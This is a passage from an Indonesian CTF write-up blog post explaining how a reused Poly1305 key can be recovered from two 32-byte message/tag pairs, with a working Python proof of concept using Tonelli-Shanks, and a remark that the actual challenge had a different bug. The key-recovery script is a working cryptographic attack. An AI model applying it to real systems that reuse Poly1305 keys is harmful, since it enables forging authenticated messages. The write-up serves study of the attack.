Disini, x merupakan 16 byte key pertama yang telah di-clamp yakni variable r (lihat fungsi script pada implementasi poly1305 di atas), dan y adalah 16 byte key terakhir, yakni variable s. Variable a dan d adalah 16 byte pertama pada message yang sudah ditambah “\x01” (sesuai implementasi poly1305), variable b dan e adalah 16 byte key kedua pada message yang sudah ditambahi “\x01” juga. Variable c dan f berasal dari hasil fungsi poly1305 sebelum di-mod kan dengan 2**128, variable c dan f dapat dengan mudah didapatkan dengan 3 kali bruteforce untuk mencari bilangan apa yang jika di mod dengan 2**128 menghasilkan tag yg telah diketahui.

Dengan melihat persamaan diatas, kita dapat dengan mudah mensolve x dengan quadratic modular equation solver, yakni rumus abc yang di-mod. Operasi akar kuadrat dalam modulo n (dimana n adalah bilangan prima) dapat menggunakan algoritma tonelli shanks.

Di bawah ini adalah POC dimana key dapat direcover dari pasangan 32 bytes message dan tag.

#!/usr/bin/env python3
import gmpy2
import binascii

key = binascii.unhexlify("85:d6:be:78:57:55:6d:33:7f:44:52:fe:42:d5:06:a8:01:03:80:8a:fb:0d:b2:fd:4a:bf:f6:af:41:49:f5:1b".replace(":", ""))

def clamp(r):
    return r & 0x0ffffffc0ffffffc0ffffffc0fffffff

def poly_mac(msg, key):
    r = clamp(int.from_bytes(key[:16], 'little'))
    s = int.from_bytes(key[16:], 'little')
    acc = 0
    p = (1<<130)-5
    mod = 2**128
    for i in range(0,len(msg),16):
        block = msg[i:i+16]
        habit = 1 << (len(block)*8)
        block = habit | int.from_bytes(block, 'little')
        acc = ((acc+block)*r)
    return (acc + s) % p % mod

def legendre(a, p):
    '''Legendre symbol'''
    tmp = pow(a, (p-1)//2, p)
    return -1 if tmp == p-1 else tmp

def tonelli_shanks(n, p):
    '''Find r such that r^2 = n % p, r2 == p-r'''
    if legendre(n, p) == -1:
#        print('Error: not square root')
        return False

    s = 0
    q = p-1
    while q&1 == 0:
        s += 1
        q >>= 1

    if s == 1:
        return pow(n, (p+1)//4, p)

    z = 1
    while legendre(z, p) != -1:
        z += 1
    c = pow(z, q, p)

    r = pow(n, (q+1)//2, p)
    t = pow(n, q, p)
    m = s
    while t != 1:
        i = 1
        while i < m:
            if pow(t, 2**i, p) == 1:
                break
            i += 1
        b = pow(c, 2**(m-i-1), p)
        r = (r*b) % p
        t = (t * (b**2)) % p
        c = pow(b, 2, p)
        m = i
    return r


m = 2**130-5
mod = 2**128

def solve_quadmod(a, b, c, n):
    disc = tonelli_shanks(pow(b,2,n)-4*a*c, n)
    if not disc:
        return False
    x1 = gmpy2.divm(-b + disc, 2*a, n);
    x2 = gmpy2.divm(-b - disc, 2*a, n);
    return x1, x2

def solve(msg1, tag1, msg2, tag2):
    a = int.from_bytes(msg1[:16]+b'\x01', 'little')
    d = int.from_bytes(msg2[:16]+b'\x01', 'little')

    b = int.from_bytes(msg1[16:32]+b'\x01', 'little')
    e = int.from_bytes(msg2[16:32]+b'\x01', 'little')

    cs = []
    fs = []

    tag1 = int.from_bytes(tag1, 'little')
    tag2 = int.from_bytes(tag2, 'little')

    for i in range(1,4):
        cs.append(mod*i + tag1)
        fs.append(mod*i + tag2)

    for c in cs:
        for f in fs:
            res = solve_quadmod(d-a, e-b, c-f, m)
            if not res:
                continue
            res = map(int,res)
            for r in res:
                r = r % mod
                y = ((c - a*pow(r, 2, m) - b*r) % m) % mod
                key = r.to_bytes(16, 'little')
                key += y.to_bytes(16, 'little')
                if poly_mac(msg1, key) == tag1 and poly_mac(msg2, key) == tag2:
                    return key

msg1 = b"B"*32
tag1 = (poly_mac(msg1, key)).to_bytes(16, 'little')
msg2 = b"A"*32
tag2 = (poly_mac(msg2, key)).to_bytes(16, 'little')
msg3 = b"C"*32
tag3 = poly_mac(msg3, key)

key_recovered = solve(msg2, tag2, msg1, tag1)
assert poly_mac(msg3, key_recovered) == tag3

Fungsi solve diatas dapat merecovery key poly1305 dengan hanya membutuhkan pasangan message dan tag. Dengan kode ini kita dapat dengan mudah mensolve challenge yang tadi bukan?. Ternyata challenge nacht ini tidak dapat disolve dengan cara ini, ada bug lain yang awalnya tidak saya sadari yakni parameter key dan message pada script vuln.py itu tertukar. Saya menanyakan pada rekan saya, hal ini membuat poly1305 menghasilkan persamaan linier yang dapat dengan mudah di-solve. Tetapi, dari sini saya dapat belajar untuk mencrack poly1305 berdasarkan algoritmanya :). Padahal jika script challenge tidak menukar key dan message dapat di-solve dengan script saya di atas tadi. Tapi, sudahlah.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s